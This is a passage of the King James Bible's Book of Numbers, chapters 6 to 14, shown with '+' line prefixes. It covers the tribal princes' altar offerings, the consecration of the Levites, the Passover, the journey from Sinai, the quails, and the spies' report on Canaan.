+6:25 The LORD make his face shine upon thee, and be gracious unto +thee: 6:26 The LORD lift up his countenance upon thee, and give thee +peace. + +6:27 And they shall put my name upon the children of Israel, and I +will bless them. + +7:1 And it came to pass on the day that Moses had fully set up the +tabernacle, and had anointed it, and sanctified it, and all the +instruments thereof, both the altar and all the vessels thereof, and +had anointed them, and sanctified them; 7:2 That the princes of +Israel, heads of the house of their fathers, who were the princes of +the tribes, and were over them that were numbered, offered: 7:3 And +they brought their offering before the LORD, six covered wagons, and +twelve oxen; a wagon for two of the princes, and for each one an ox: +and they brought them before the tabernacle. + +7:4 And the LORD spake unto Moses, saying, 7:5 Take it of them, that +they may be to do the service of the tabernacle of the congregation; +and thou shalt give them unto the Levites, to every man according to +his service. + +7:6 And Moses took the wagons and the oxen, and gave them unto the +Levites. + +7:7 Two wagons and four oxen he gave unto the sons of Gershon, +according to their service: 7:8 And four wagons and eight oxen he gave +unto the sons of Merari, according unto their service, under the hand +of Ithamar the son of Aaron the priest. + +7:9 But unto the sons of Kohath he gave none: because the service of +the sanctuary belonging unto them was that they should bear upon their +shoulders. + +7:10 And the princes offered for dedicating of the altar in the day +that it was anointed, even the princes offered their offering before +the altar. + +7:11 And the LORD said unto Moses, They shall offer their offering, +each prince on his day, for the dedicating of the altar. + +7:12 And he that offered his offering the first day was Nahshon the +son of Amminadab, of the tribe of Judah: 7:13 And his offering was one +silver charger, the weight thereof was an hundred and thirty shekels, +one silver bowl of seventy shekels, after the shekel of the sanctuary; +both of them were full of fine flour mingled with oil for a meat +offering: 7:14 One spoon of ten shekels of gold, full of incense: 7:15 +One young bullock, one ram, one lamb of the first year, for a burnt +offering: 7:16 One kid of the goats for a sin offering: 7:17 And for a +sacrifice of peace offerings, two oxen, five rams, five he goats, five +lambs of the first year: this was the offering of Nahshon the son of +Amminadab. + +7:18 On the second day Nethaneel the son of Zuar, prince of Issachar, +did offer: 7:19 He offered for his offering one silver charger, the +weight whereof was an hundred and thirty shekels, one silver bowl of +seventy shekels, after the shekel of the sanctuary; both of them full +of fine flour mingled with oil for a meat offering: 7:20 One spoon of +gold of ten shekels, full of incense: 7:21 One young bullock, one ram, +one lamb of the first year, for a burnt offering: 7:22 One kid of the +goats for a sin offering: 7:23 And for a sacrifice of peace offerings, +two oxen, five rams, five he goats, five lambs of the first year: this +was the offering of Nethaneel the son of Zuar. + +7:24 On the third day Eliab the son of Helon, prince of the children +of Zebulun, did offer: 7:25 His offering was one silver charger, the +weight whereof was an hundred and thirty shekels, one silver bowl of +seventy shekels, after the shekel of the sanctuary; both of them full +of fine flour mingled with oil for a meat offering: 7:26 One golden +spoon of ten shekels, full of incense: 7:27 One young bullock, one +ram, one lamb of the first year, for a burnt offering: 7:28 One kid of +the goats for a sin offering: 7:29 And for a sacrifice of peace +offerings, two oxen, five rams, five he goats, five lambs of the first +year: this was the offering of Eliab the son of Helon. + +7:30 On the fourth day Elizur the son of Shedeur, prince of the +children of Reuben, did offer: 7:31 His offering was one silver +charger of the weight of an hundred and thirty shekels, one silver +bowl of seventy shekels, after the shekel of the sanctuary; both of +them full of fine flour mingled with oil for a meat offering: 7:32 One +golden spoon of ten shekels, full of incense: 7:33 One young bullock, +one ram, one lamb of the first year, for a burnt offering: 7:34 One +kid of the goats for a sin offering: 7:35 And for a sacrifice of peace +offerings, two oxen, five rams, five he goats, five lambs of the first +year: this was the offering of Elizur the son of Shedeur. + +7:36 On the fifth day Shelumiel the son of Zurishaddai, prince of the +children of Simeon, did offer: 7:37 His offering was one silver +charger, the weight whereof was an hundred and thirty shekels, one +silver bowl of seventy shekels, after the shekel of the sanctuary; +both of them full of fine flour mingled with oil for a meat offering: +7:38 One golden spoon of ten shekels, full of incense: 7:39 One young +bullock, one ram, one lamb of the first year, for a burnt offering: +7:40 One kid of the goats for a sin offering: 7:41 And for a sacrifice +of peace offerings, two oxen, five rams, five he goats, five lambs of +the first year: this was the offering of Shelumiel the son of +Zurishaddai. + +7:42 On the sixth day Eliasaph the son of Deuel, prince of the +children of Gad, offered: 7:43 His offering was one silver charger of +the weight of an hundred and thirty shekels, a silver bowl of seventy +shekels, after the shekel of the sanctuary; both of them full of fine +flour mingled with oil for a meat offering: 7:44 One golden spoon of +ten shekels, full of incense: 7:45 One young bullock, one ram, one +lamb of the first year, for a burnt offering: 7:46 One kid of the +goats for a sin offering: 7:47 And for a sacrifice of peace offerings, +two oxen, five rams, five he goats, five lambs of the first year: this +was the offering of Eliasaph the son of Deuel. + +7:48 On the seventh day Elishama the son of Ammihud, prince of the +children of Ephraim, offered: 7:49 His offering was one silver +charger, the weight whereof was an hundred and thirty shekels, one +silver bowl of seventy shekels, after the shekel of the sanctuary; +both of them full of fine flour mingled with oil for a meat offering: +7:50 One golden spoon of ten shekels, full of incense: 7:51 One young +bullock, one ram, one lamb of the first year, for a burnt offering: +7:52 One kid of the goats for a sin offering: 7:53 And for a sacrifice +of peace offerings, two oxen, five rams, five he goats, five lambs of +the first year: this was the offering of Elishama the son of Ammihud. + +7:54 On the eighth day offered Gamaliel the son of Pedahzur, prince of +the children of Manasseh: 7:55 His offering was one silver charger of +the weight of an hundred and thirty shekels, one silver bowl of +seventy shekels, after the shekel of the sanctuary; both of them full +of fine flour mingled with oil for a meat offering: 7:56 One golden +spoon of ten shekels, full of incense: 7:57 One young bullock, one +ram, one lamb of the first year, for a burnt offering: 7:58 One kid of +the goats for a sin offering: 7:59 And for a sacrifice of peace +offerings, two oxen, five rams, five he goats, five lambs of the first +year: this was the offering of Gamaliel the son of Pedahzur. + +7:60 On the ninth day Abidan the son of Gideoni, prince of the +children of Benjamin, offered: 7:61 His offering was one silver +charger, the weight whereof was an hundred and thirty shekels, one +silver bowl of seventy shekels, after the shekel of the sanctuary; +both of them full of fine flour mingled with oil for a meat offering: +7:62 One golden spoon of ten shekels, full of incense: 7:63 One young +bullock, one ram, one lamb of the first year, for a burnt offering: +7:64 One kid of the goats for a sin offering: 7:65 And for a sacrifice +of peace offerings, two oxen, five rams, five he goats, five lambs of +the first year: this was the offering of Abidan the son of Gideoni. + +7:66 On the tenth day Ahiezer the son of Ammishaddai, prince of the +children of Dan, offered: 7:67 His offering was one silver charger, +the weight whereof was an hundred and thirty shekels, one silver bowl +of seventy shekels, after the shekel of the sanctuary; both of them +full of fine flour mingled with oil for a meat offering: 7:68 One +golden spoon of ten shekels, full of incense: 7:69 One young bullock, +one ram, one lamb of the first year, for a burnt offering: 7:70 One +kid of the goats for a sin offering: 7:71 And for a sacrifice of peace +offerings, two oxen, five rams, five he goats, five lambs of the first +year: this was the offering of Ahiezer the son of Ammishaddai. + +7:72 On the eleventh day Pagiel the son of Ocran, prince of the +children of Asher, offered: 7:73 His offering was one silver charger, +the weight whereof was an hundred and thirty shekels, one silver bowl +of seventy shekels, after the shekel of the sanctuary; both of them +full of fine flour mingled with oil for a meat offering: 7:74 One +golden spoon of ten shekels, full of incense: 7:75 One young bullock, +one ram, one lamb of the first year, for a burnt offering: 7:76 One +kid of the goats for a sin offering: 7:77 And for a sacrifice of peace +offerings, two oxen, five rams, five he goats, five lambs of the first +year: this was the offering of Pagiel the son of Ocran. + +7:78 On the twelfth day Ahira the son of Enan, prince of the children +of Naphtali, offered: 7:79 His offering was one silver charger, the +weight whereof was an hundred and thirty shekels, one silver bowl of +seventy shekels, after the shekel of the sanctuary; both of them full +of fine flour mingled with oil for a meat offering: 7:80 One golden +spoon of ten shekels, full of incense: 7:81 One young bullock, one +ram, one lamb of the first year, for a burnt offering: 7:82 One kid of +the goats for a sin offering: 7:83 And for a sacrifice of peace +offerings, two oxen, five rams, five he goats, five lambs of the first +year: this was the offering of Ahira the son of Enan. + +7:84 This was the dedication of the altar, in the day when it was +anointed, by the princes of Israel: twelve chargers of silver, twelve +silver bowls, twelve spoons of gold: 7:85 Each charger of silver +weighing an hundred and thirty shekels, each bowl seventy: all the +silver vessels weighed two thousand and four hundred shekels, after +the shekel of the sanctuary: 7:86 The golden spoons were twelve, full +of incense, weighing ten shekels apiece, after the shekel of the +sanctuary: all the gold of the spoons was an hundred and twenty +shekels. + +7:87 All the oxen for the burnt offering were twelve bullocks, the +rams twelve, the lambs of the first year twelve, with their meat +offering: and the kids of the goats for sin offering twelve. + +7:88 And all the oxen for the sacrifice of the peace offerings were +twenty and four bullocks, the rams sixty, the he goats sixty, the +lambs of the first year sixty. This was the dedication of the altar, +after that it was anointed. + +7:89 And when Moses was gone into the tabernacle of the congregation +to speak with him, then he heard the voice of one speaking unto him +from off the mercy seat that was upon the ark of testimony, from +between the two cherubims: and he spake unto him. + +8:1 And the LORD spake unto Moses, saying, 8:2 Speak unto Aaron and +say unto him, When thou lightest the lamps, the seven lamps shall give +light over against the candlestick. + +8:3 And Aaron did so; he lighted the lamps thereof over against the +candlestick, as the LORD commanded Moses. + +8:4 And this work of the candlestick was of beaten gold, unto the +shaft thereof, unto the flowers thereof, was beaten work: according +unto the pattern which the LORD had shewed Moses, so he made the +candlestick. + +8:5 And the LORD spake unto Moses, saying, 8:6 Take the Levites from +among the children of Israel, and cleanse them. + +8:7 And thus shalt thou do unto them, to cleanse them: Sprinkle water +of purifying upon them, and let them shave all their flesh, and let +them wash their clothes, and so make themselves clean. + +8:8 Then let them take a young bullock with his meat offering, even +fine flour mingled with oil, and another young bullock shalt thou take +for a sin offering. + +8:9 And thou shalt bring the Levites before the tabernacle of the +congregation: and thou shalt gather the whole assembly of the children +of Israel together: 8:10 And thou shalt bring the Levites before the +LORD: and the children of Israel shall put their hands upon the +Levites: 8:11 And Aaron shall offer the Levites before the LORD for an +offering of the children of Israel, that they may execute the service +of the LORD. + +8:12 And the Levites shall lay their hands upon the heads of the +bullocks: and thou shalt offer the one for a sin offering, and the +other for a burnt offering, unto the LORD, to make an atonement for +the Levites. + +8:13 And thou shalt set the Levites before Aaron, and before his sons, +and offer them for an offering unto the LORD. + +8:14 Thus shalt thou separate the Levites from among the children of +Israel: and the Levites shall be mine. + +8:15 And after that shall the Levites go in to do the service of the +tabernacle of the congregation: and thou shalt cleanse them, and offer +them for an offering. + +8:16 For they are wholly given unto me from among the children of +Israel; instead of such as open every womb, even instead of the +firstborn of all the children of Israel, have I taken them unto me. + +8:17 For all the firstborn of the children of Israel are mine, both +man and beast: on the day that I smote every firstborn in the land of +Egypt I sanctified them for myself. + +8:18 And I have taken the Levites for all the firstborn of the +children of Israel. + +8:19 And I have given the Levites as a gift to Aaron and to his sons +from among the children of Israel, to do the service of the children +of Israel in the tabernacle of the congregation, and to make an +atonement for the children of Israel: that there be no plague among +the children of Israel, when the children of Israel come nigh unto the +sanctuary. + +8:20 And Moses, and Aaron, and all the congregation of the children of +Israel, did to the Levites according unto all that the LORD commanded +Moses concerning the Levites, so did the children of Israel unto them. + +8:21 And the Levites were purified, and they washed their clothes; and +Aaron offered them as an offering before the LORD; and Aaron made an +atonement for them to cleanse them. + +8:22 And after that went the Levites in to do their service in the +tabernacle of the congregation before Aaron, and before his sons: as +the LORD had commanded Moses concerning the Levites, so did they unto +them. + +8:23 And the LORD spake unto Moses, saying, 8:24 This is it that +belongeth unto the Levites: from twenty and five years old and upward +they shall go in to wait upon the service of the tabernacle of the +congregation: 8:25 And from the age of fifty years they shall cease +waiting upon the service thereof, and shall serve no more: 8:26 But +shall minister with their brethren in the tabernacle of the +congregation, to keep the charge, and shall do no service. Thus shalt +thou do unto the Levites touching their charge. + +9:1 And the LORD spake unto Moses in the wilderness of Sinai, in the +first month of the second year after they were come out of the land of +Egypt, saying, 9:2 Let the children of Israel also keep the passover +at his appointed season. + +9:3 In the fourteenth day of this month, at even, ye shall keep it in +his appointed season: according to all the rites of it, and according +to all the ceremonies thereof, shall ye keep it. + +9:4 And Moses spake unto the children of Israel, that they should keep +the passover. + +9:5 And they kept the passover on the fourteenth day of the first +month at even in the wilderness of Sinai: according to all that the +LORD commanded Moses, so did the children of Israel. + +9:6 And there were certain men, who were defiled by the dead body of a +man, that they could not keep the passover on that day: and they came +before Moses and before Aaron on that day: 9:7 And those men said unto +him, We are defiled by the dead body of a man: wherefore are we kept +back, that we may not offer an offering of the LORD in his appointed +season among the children of Israel? 9:8 And Moses said unto them, +Stand still, and I will hear what the LORD will command concerning +you. + +9:9 And the LORD spake unto Moses, saying, 9:10 Speak unto the +children of Israel, saying, If any man of you or of your posterity +shall be unclean by reason of a dead body, or be in a journey afar +off, yet he shall keep the passover unto the LORD. + +9:11 The fourteenth day of the second month at even they shall keep +it, and eat it with unleavened bread and bitter herbs. + +9:12 They shall leave none of it unto the morning, nor break any bone +of it: according to all the ordinances of the passover they shall keep +it. + +9:13 But the man that is clean, and is not in a journey, and +forbeareth to keep the passover, even the same soul shall be cut off +from among his people: because he brought not the offering of the LORD +in his appointed season, that man shall bear his sin. + +9:14 And if a stranger shall sojourn among you, and will keep the +passover unto the LORD; according to the ordinance of the passover, +and according to the manner thereof, so shall he do: ye shall have one +ordinance, both for the stranger, and for him that was born in the +land. + +9:15 And on the day that the tabernacle was reared up the cloud +covered the tabernacle, namely, the tent of the testimony: and at even +there was upon the tabernacle as it were the appearance of fire, until +the morning. + +9:16 So it was alway: the cloud covered it by day, and the appearance +of fire by night. + +9:17 And when the cloud was taken up from the tabernacle, then after +that the children of Israel journeyed: and in the place where the +cloud abode, there the children of Israel pitched their tents. + +9:18 At the commandment of the LORD the children of Israel journeyed, +and at the commandment of the LORD they pitched: as long as the cloud +abode upon the tabernacle they rested in their tents. + +9:19 And when the cloud tarried long upon the tabernacle many days, +then the children of Israel kept the charge of the LORD, and journeyed +not. + +9:20 And so it was, when the cloud was a few days upon the tabernacle; +according to the commandment of the LORD they abode in their tents, +and according to the commandment of the LORD they journeyed. + +9:21 And so it was, when the cloud abode from even unto the morning, +and that the cloud was taken up in the morning, then they journeyed: +whether it was by day or by night that the cloud was taken up, they +journeyed. + +9:22 Or whether it were two days, or a month, or a year, that the +cloud tarried upon the tabernacle, remaining thereon, the children of +Israel abode in their tents, and journeyed not: but when it was taken +up, they journeyed. + +9:23 At the commandment of the LORD they rested in the tents, and at +the commandment of the LORD they journeyed: they kept the charge of +the LORD, at the commandment of the LORD by the hand of Moses. + +10:1 And the LORD spake unto Moses, saying, 10:2 Make thee two +trumpets of silver; of a whole piece shalt thou make them: that thou +mayest use them for the calling of the assembly, and for the +journeying of the camps. + +10:3 And when they shall blow with them, all the assembly shall +assemble themselves to thee at the door of the tabernacle of the +congregation. + +10:4 And if they blow but with one trumpet, then the princes, which +are heads of the thousands of Israel, shall gather themselves unto +thee. + +10:5 When ye blow an alarm, then the camps that lie on the east parts +shall go forward. + +10:6 When ye blow an alarm the second time, then the camps that lie on +the south side shall take their journey: they shall blow an alarm for +their journeys. + +10:7 But when the congregation is to be gathered together, ye shall +blow, but ye shall not sound an alarm. + +10:8 And the sons of Aaron, the priests, shall blow with the trumpets; +and they shall be to you for an ordinance for ever throughout your +generations. + +10:9 And if ye go to war in your land against the enemy that +oppresseth you, then ye shall blow an alarm with the trumpets; and ye +shall be remembered before the LORD your God, and ye shall be saved +from your enemies. + +10:10 Also in the day of your gladness, and in your solemn days, and +in the beginnings of your months, ye shall blow with the trumpets over +your burnt offerings, and over the sacrifices of your peace offerings; +that they may be to you for a memorial before your God: I am the LORD +your God. + +10:11 And it came to pass on the twentieth day of the second month, in +the second year, that the cloud was taken up from off the tabernacle +of the testimony. + +10:12 And the children of Israel took their journeys out of the +wilderness of Sinai; and the cloud rested in the wilderness of Paran. + +10:13 And they first took their journey according to the commandment +of the LORD by the hand of Moses. + +10:14 In the first place went the standard of the camp of the children +of Judah according to their armies: and over his host was Nahshon the +son of Amminadab. + +10:15 And over the host of the tribe of the children of Issachar was +Nethaneel the son of Zuar. + +10:16 And over the host of the tribe of the children of Zebulun was +Eliab the son of Helon. + +10:17 And the tabernacle was taken down; and the sons of Gershon and +the sons of Merari set forward, bearing the tabernacle. + +10:18 And the standard of the camp of Reuben set forward according to +their armies: and over his host was Elizur the son of Shedeur. + +10:19 And over the host of the tribe of the children of Simeon was +Shelumiel the son of Zurishaddai. + +10:20 And over the host of the tribe of the children of Gad was +Eliasaph the son of Deuel. + +10:21 And the Kohathites set forward, bearing the sanctuary: and the +other did set up the tabernacle against they came. + +10:22 And the standard of the camp of the children of Ephraim set +forward according to their armies: and over his host was Elishama the +son of Ammihud. + +10:23 And over the host of the tribe of the children of Manasseh was +Gamaliel the son of Pedahzur. + +10:24 And over the host of the tribe of the children of Benjamin was +Abidan the son of Gideoni. + +10:25 And the standard of the camp of the children of Dan set forward, +which was the rereward of all the camps throughout their hosts: and +over his host was Ahiezer the son of Ammishaddai. + +10:26 And over the host of the tribe of the children of Asher was +Pagiel the son of Ocran. + +10:27 And over the host of the tribe of the children of Naphtali was +Ahira the son of Enan. + +10:28 Thus were the journeyings of the children of Israel according to +their armies, when they set forward. + +10:29 And Moses said unto Hobab, the son of Raguel the Midianite, +Moses' father in law, We are journeying unto the place of which the +LORD said, I will give it you: come thou with us, and we will do thee +good: for the LORD hath spoken good concerning Israel. + +10:30 And he said unto him, I will not go; but I will depart to mine +own land, and to my kindred. + +10:31 And he said, Leave us not, I pray thee; forasmuch as thou +knowest how we are to encamp in the wilderness, and thou mayest be to +us instead of eyes. + +10:32 And it shall be, if thou go with us, yea, it shall be, that what +goodness the LORD shall do unto us, the same will we do unto thee. + +10:33 And they departed from the mount of the LORD three days' +journey: and the ark of the covenant of the LORD went before them in +the three days' journey, to search out a resting place for them. + +10:34 And the cloud of the LORD was upon them by day, when they went +out of the camp. + +10:35 And it came to pass, when the ark set forward, that Moses said, +Rise up, LORD, and let thine enemies be scattered; and let them that +hate thee flee before thee. + +10:36 And when it rested, he said, Return, O LORD, unto the many +thousands of Israel. + +11:1 And when the people complained, it displeased the LORD: and the +LORD heard it; and his anger was kindled; and the fire of the LORD +burnt among them, and consumed them that were in the uttermost parts +of the camp. + +11:2 And the people cried unto Moses; and when Moses prayed unto the +LORD, the fire was quenched. + +11:3 And he called the name of the place Taberah: because the fire of +the LORD burnt among them. + +11:4 And the mixt multitude that was among them fell a lusting: and +the children of Israel also wept again, and said, Who shall give us +flesh to eat? 11:5 We remember the fish, which we did eat in Egypt +freely; the cucumbers, and the melons, and the leeks, and the onions, +and the garlick: 11:6 But now our soul is dried away: there is nothing +at all, beside this manna, before our eyes. + +11:7 And the manna was as coriander seed, and the colour thereof as +the colour of bdellium. + +11:8 And the people went about, and gathered it, and ground it in +mills, or beat it in a mortar, and baked it in pans, and made cakes of +it: and the taste of it was as the taste of fresh oil. + +11:9 And when the dew fell upon the camp in the night, the manna fell +upon it. + +11:10 Then Moses heard the people weep throughout their families, +every man in the door of his tent: and the anger of the LORD was +kindled greatly; Moses also was displeased. + +11:11 And Moses said unto the LORD, Wherefore hast thou afflicted thy +servant? and wherefore have I not found favour in thy sight, that thou +layest the burden of all this people upon me? 11:12 Have I conceived +all this people? have I begotten them, that thou shouldest say unto +me, Carry them in thy bosom, as a nursing father beareth the sucking +child, unto the land which thou swarest unto their fathers? 11:13 +Whence should I have flesh to give unto all this people? for they weep +unto me, saying, Give us flesh, that we may eat. + +11:14 I am not able to bear all this people alone, because it is too +heavy for me. + +11:15 And if thou deal thus with me, kill me, I pray thee, out of +hand, if I have found favour in thy sight; and let me not see my +wretchedness. + +11:16 And the LORD said unto Moses, Gather unto me seventy men of the +elders of Israel, whom thou knowest to be the elders of the people, +and officers over them; and bring them unto the tabernacle of the +congregation, that they may stand there with thee. + +11:17 And I will come down and talk with thee there: and I will take +of the spirit which is upon thee, and will put it upon them; and they +shall bear the burden of the people with thee, that thou bear it not +thyself alone. + +11:18 And say thou unto the people, Sanctify yourselves against to +morrow, and ye shall eat flesh: for ye have wept in the ears of the +LORD, saying, Who shall give us flesh to eat? for it was well with us +in Egypt: therefore the LORD will give you flesh, and ye shall eat. + +11:19 Ye shall not eat one day, nor two days, nor five days, neither +ten days, nor twenty days; 11:20 But even a whole month, until it come +out at your nostrils, and it be loathsome unto you: because that ye +have despised the LORD which is among you, and have wept before him, +saying, Why came we forth out of Egypt? 11:21 And Moses said, The +people, among whom I am, are six hundred thousand footmen; and thou +hast said, I will give them flesh, that they may eat a whole month. + +11:22 Shall the flocks and the herds be slain for them, to suffice +them? or shall all the fish of the sea be gathered together for them, +to suffice them? 11:23 And the LORD said unto Moses, Is the LORD's +hand waxed short? thou shalt see now whether my word shall come to +pass unto thee or not. + +11:24 And Moses went out, and told the people the words of the LORD, +and gathered the seventy men of the elders of the people, and set them +round about the tabernacle. + +11:25 And the LORD came down in a cloud, and spake unto him, and took +of the spirit that was upon him, and gave it unto the seventy elders: +and it came to pass, that, when the spirit rested upon them, they +prophesied, and did not cease. + +11:26 But there remained two of the men in the camp, the name of the +one was Eldad, and the name of the other Medad: and the spirit rested +upon them; and they were of them that were written, but went not out +unto the tabernacle: and they prophesied in the camp. + +11:27 And there ran a young man, and told Moses, and said, Eldad and +Medad do prophesy in the camp. + +11:28 And Joshua the son of Nun, the servant of Moses, one of his +young men, answered and said, My lord Moses, forbid them. + +11:29 And Moses said unto him, Enviest thou for my sake? would God +that all the LORD's people were prophets, and that the LORD would put +his spirit upon them! 11:30 And Moses gat him into the camp, he and +the elders of Israel. + +11:31 And there went forth a wind from the LORD, and brought quails +from the sea, and let them fall by the camp, as it were a day's +journey on this side, and as it were a day's journey on the other +side, round about the camp, and as it were two cubits high upon the +face of the earth. + +11:32 And the people stood up all that day, and all that night, and +all the next day, and they gathered the quails: he that gathered least +gathered ten homers: and they spread them all abroad for themselves +round about the camp. + +11:33 And while the flesh was yet between their teeth, ere it was +chewed, the wrath of the LORD was kindled against the people, and the +LORD smote the people with a very great plague. + +11:34 And he called the name of that place Kibrothhattaavah: because +there they buried the people that lusted. + +11:35 And the people journeyed from Kibrothhattaavah unto Hazeroth; +and abode at Hazeroth. + +12:1 And Miriam and Aaron spake against Moses because of the Ethiopian +woman whom he had married: for he had married an Ethiopian woman. + +12:2 And they said, Hath the LORD indeed spoken only by Moses? hath he +not spoken also by us? And the LORD heard it. + +12:3 (Now the man Moses was very meek, above all the men which were +upon the face of the earth.) 12:4 And the LORD spake suddenly unto +Moses, and unto Aaron, and unto Miriam, Come out ye three unto the +tabernacle of the congregation. And they three came out. + +12:5 And the LORD came down in the pillar of the cloud, and stood in +the door of the tabernacle, and called Aaron and Miriam: and they both +came forth. + +12:6 And he said, Hear now my words: If there be a prophet among you, +I the LORD will make myself known unto him in a vision, and will speak +unto him in a dream. + +12:7 My servant Moses is not so, who is faithful in all mine house. + +12:8 With him will I speak mouth to mouth, even apparently, and not in +dark speeches; and the similitude of the LORD shall he behold: +wherefore then were ye not afraid to speak against my servant Moses? +12:9 And the anger of the LORD was kindled against them; and he +departed. + +12:10 And the cloud departed from off the tabernacle; and, behold, +Miriam became leprous, white as snow: and Aaron looked upon Miriam, +and, behold, she was leprous. + +12:11 And Aaron said unto Moses, Alas, my lord, I beseech thee, lay +not the sin upon us, wherein we have done foolishly, and wherein we +have sinned. + +12:12 Let her not be as one dead, of whom the flesh is half consumed +when he cometh out of his mother's womb. + +12:13 And Moses cried unto the LORD, saying, Heal her now, O God, I +beseech thee. + +12:14 And the LORD said unto Moses, If her father had but spit in her +face, should she not be ashamed seven days? let her be shut out from +the camp seven days, and after that let her be received in again. + +12:15 And Miriam was shut out from the camp seven days: and the people +journeyed not till Miriam was brought in again. + +12:16 And afterward the people removed from Hazeroth, and pitched in +the wilderness of Paran. + +13:1 And the LORD spake unto Moses, saying, 13:2 Send thou men, that +they may search the land of Canaan, which I give unto the children of +Israel: of every tribe of their fathers shall ye send a man, every one +a ruler among them. + +13:3 And Moses by the commandment of the LORD sent them from the +wilderness of Paran: all those men were heads of the children of +Israel. + +13:4 And these were their names: of the tribe of Reuben, Shammua the +son of Zaccur. + +13:5 Of the tribe of Simeon, Shaphat the son of Hori. + +13:6 Of the tribe of Judah, Caleb the son of Jephunneh. + +13:7 Of the tribe of Issachar, Igal the son of Joseph. + +13:8 Of the tribe of Ephraim, Oshea the son of Nun. + +13:9 Of the tribe of Benjamin, Palti the son of Raphu. + +13:10 Of the tribe of Zebulun, Gaddiel the son of Sodi. + +13:11 Of the tribe of Joseph, namely, of the tribe of Manasseh, Gaddi +the son of Susi. + +13:12 Of the tribe of Dan, Ammiel the son of Gemalli. + +13:13 Of the tribe of Asher, Sethur the son of Michael. + +13:14 Of the tribe of Naphtali, Nahbi the son of Vophsi. + +13:15 Of the tribe of Gad, Geuel the son of Machi. + +13:16 These are the names of the men which Moses sent to spy out the +land. + +And Moses called Oshea the son of Nun Jehoshua. + +13:17 And Moses sent them to spy out the land of Canaan, and said unto +them, Get you up this way southward, and go up into the mountain: +13:18 And see the land, what it is, and the people that dwelleth +therein, whether they be strong or weak, few or many; 13:19 And what +the land is that they dwell in, whether it be good or bad; and what +cities they be that they dwell in, whether in tents, or in strong +holds; 13:20 And what the land is, whether it be fat or lean, whether +there be wood therein, or not. And be ye of good courage, and bring of +the fruit of the land. Now the time was the time of the firstripe +grapes. + +13:21 So they went up, and searched the land from the wilderness of +Zin unto Rehob, as men come to Hamath. + +13:22 And they ascended by the south, and came unto Hebron; where +Ahiman, Sheshai, and Talmai, the children of Anak, were. (Now Hebron +was built seven years before Zoan in Egypt.) 13:23 And they came unto +the brook of Eshcol, and cut down from thence a branch with one +cluster of grapes, and they bare it between two upon a staff; and they +brought of the pomegranates, and of the figs. + +13:24 The place was called the brook Eshcol, because of the cluster of +grapes which the children of Israel cut down from thence. + +13:25 And they returned from searching of the land after forty days. + +13:26 And they went and came to Moses, and to Aaron, and to all the +congregation of the children of Israel, unto the wilderness of Paran, +to Kadesh; and brought back word unto them, and unto all the +congregation, and shewed them the fruit of the land. + +13:27 And they told him, and said, We came unto the land whither thou +sentest us, and surely it floweth with milk and honey; and this is the +fruit of it. + +13:28 Nevertheless the people be strong that dwell in the land, and +the cities are walled, and very great: and moreover we saw the +children of Anak there. + +13:29 The Amalekites dwell in the land of the south: and the Hittites, +and the Jebusites, and the Amorites, dwell in the mountains: and the +Canaanites dwell by the sea, and by the coast of Jordan. + +13:30 And Caleb stilled the people before Moses, and said, Let us go +up at once, and possess it; for we are well able to overcome it. + +13:31 But the men that went up with him said, We be not able to go up +against the people; for they are stronger than we. + +13:32 And they brought up an evil report of the land which they had +searched unto the children of Israel, saying, The land, through which +we have gone to search it, is a land that eateth up the inhabitants +thereof; and all the people that we saw in it are men of a great +stature. + +13:33 And there we saw the giants, the sons of Anak, which come of the +giants: and we were in our own sight as grasshoppers, and so we were +in their sight. + +14:1 And all the congregation lifted up their voice, and cried; and +the people wept that night. + +14:2 And all the children of Israel murmured against Moses and against +Aaron: and the whole congregation said unto them, Would God that we +had died in the land of Egypt! or would God we had died in this +wilderness! 14:3 And wherefore hath the LORD brought us unto this +land, to fall by the sword, that our wives and our children should be +a prey? were it not better for us to return into Egypt? 14:4 And they +said one to another, Let us make a captain, and let us return into +Egypt. + +14:5 Then Moses and Aaron fell on their faces before all the assembly +of the congregation of the children of Israel. + +14:6 And Joshua the son of Nun, and Caleb the son of Jephunneh, which +were of them that searched the land, rent their clothes: 14:7 And they +spake unto all the company of the children of Israel, saying, The +land, which we passed through to search it, is an exceeding good land. + +14:8 If the LORD delight in us, then he will bring us into this land, +and give it us; a land which floweth with milk and honey. + +14:9 Only rebel not ye against the LORD, neither fear ye the people of +the land; for they are bread for us: their defence is departed from +them, and the LORD is with us: fear them not. + +14:10 But all the congregation bade stone them with stones. And the +glory of the LORD appeared in the tabernacle of the congregation +before all the children of Israel. + +14:11 And the LORD said unto Moses, How long will this people provoke +me? and how long will it be ere they believe me, for all the signs +which I have shewed among them? 14:12 I will smite them with the +pestilence, and disinherit them, and will make of thee a greater +nation and mightier than they. + +14:13 And Moses said unto the LORD, Then the Egyptians shall hear it, +(for thou broughtest up this people in thy might from among them;) +14:14 And they will tell it to the inhabitants of this land: for they +have heard that thou LORD art among this people, that thou LORD art +seen face to face, and that thy cloud standeth over them, and that +thou goest before them, by day time in a pillar of a cloud, and in a +pillar of fire by night. + +14:15 Now if thou shalt kill all this people as one man, then the +nations which have heard the fame of thee will speak, saying, 14:16 +Because the LORD was not able to bring this people into the land which +he sware unto them, therefore he hath slain them in the wilderness. + +14:17 And now, I beseech thee, let the power of my LORD be great, +according as thou hast spoken, saying, 14:18 The LORD is +longsuffering, and of great mercy, forgiving iniquity and +transgression, and by no means clearing the guilty, visiting the +iniquity of the fathers upon the children unto the third and fourth +generation. + +14:19 Pardon, I beseech thee, the iniquity of this people according +unto the greatness of thy mercy, and as thou hast forgiven this +people, from Egypt even until now. + +14:20 And the LORD said, I have pardoned according to thy word: 14:21 +But as truly as I live, all the earth shall be filled with the glory +of the LORD. + +14:22 Because all those men which have seen my glory, and my miracles, +which I did in Egypt and in the wilderness, and have tempted me now +these ten times, and have not hearkened to my voice; 14:23 Surely they +shall not see the land which I sware unto their fathers, neither shall +any of them that provoked me see it: 14:24 But my servant Caleb, +because he had another spirit with him, and hath followed me fully, +him will I bring into the land whereinto he went; and his seed shall +possess it. + +14:25 (Now the Amalekites and the Canaanites dwelt in the valley.) +Tomorrow turn you, and get you into the wilderness by the way of the +Red sea. + +14:26 And the LORD spake unto Moses and unto Aaron, saying, 14:27 How +long shall I bear with this evil congregation, which murmur against +me? I have heard the murmurings of the children of Israel, which they +murmur against me. + +14:28 Say unto them, As truly as I live, saith the LORD, as ye have +spoken in mine ears, so will I do to you: 14:29 Your carcases shall +fall in this wilderness; and all that were numbered of you, according +to your whole number, from twenty years old and upward which have +murmured against me. + +14:30 Doubtless ye shall not come into the land, concerning which I +sware to make you dwell therein, save Caleb the son of Jephunneh, and +Joshua the son of Nun. + +14:31 But your little ones, which ye 